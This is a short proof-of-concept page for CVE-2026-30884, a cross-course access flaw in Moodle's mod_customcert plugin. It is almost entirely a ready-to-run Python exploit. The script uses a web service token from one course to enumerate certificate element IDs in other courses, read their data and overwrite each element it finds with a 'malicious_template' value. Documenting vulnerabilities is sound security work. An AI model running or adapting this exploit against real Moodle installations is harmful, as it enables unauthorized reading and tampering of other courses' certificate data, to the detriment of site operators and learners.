CVE-2026-30884 Moodle mod_customcert跨课程证书元素越权访问漏洞

import requests import json # CVE-2026-30884 PoC - Cross-course Certificate Element Access # Target: Moodle with mod_customcert plugin < 4.4.9 or < 5.0.3 TARGET_URL = "https://vulnerable-moodle-site.com" WS_TOKEN = "your_web_service_token" # Requires mod/customcert:manage permission COURSE_ID = 1 # Attacker's authorized course TARGET_COURSE_ID = 99 # Victim's course (to be enumerated) def exploit_read_element(element_id): """Read certificate element from target course""" endpoint = f"{TARGET_URL}/lib/ajax/service.php" payload = [{ "index": 0, "methodname": "core_get_fragment", "args": { "component": "mod_customcert", "callback": "editelement", "args": { "elementid": element_id, "customcertid": 1, "courseid": COURSE_ID } } }] headers = { "Authorization": f"Bearer {WS_TOKEN}", "Content-Type": "application/json" } response = requests.post(endpoint, json=payload, headers=headers) return response.json() def exploit_write_element(element_id, element_data): """Overwrite certificate element in target course""" endpoint = f"{TARGET_URL}/lib/ajax/service.php" payload = [{ "index": 0, "methodname": "mod_customcert_save_element", "args": { "elementid": element_id, "customcertid": 1, "data": element_data, "courseid": COURSE_ID } }] headers = { "Authorization": f"Bearer {WS_TOKEN}", "Content-Type": "application/json" } response = requests.post(endpoint, json=payload, headers=headers) return response.json() # Enumerate and exploit for element_id in range(1, 1000): result = exploit_read_element(element_id) if result and result[0].get('data'): print(f"Found element {element_id}: {result[0]['data']}") # Modify and write back exploit_write_element(element_id, {"pagetemplate": "malicious_template"})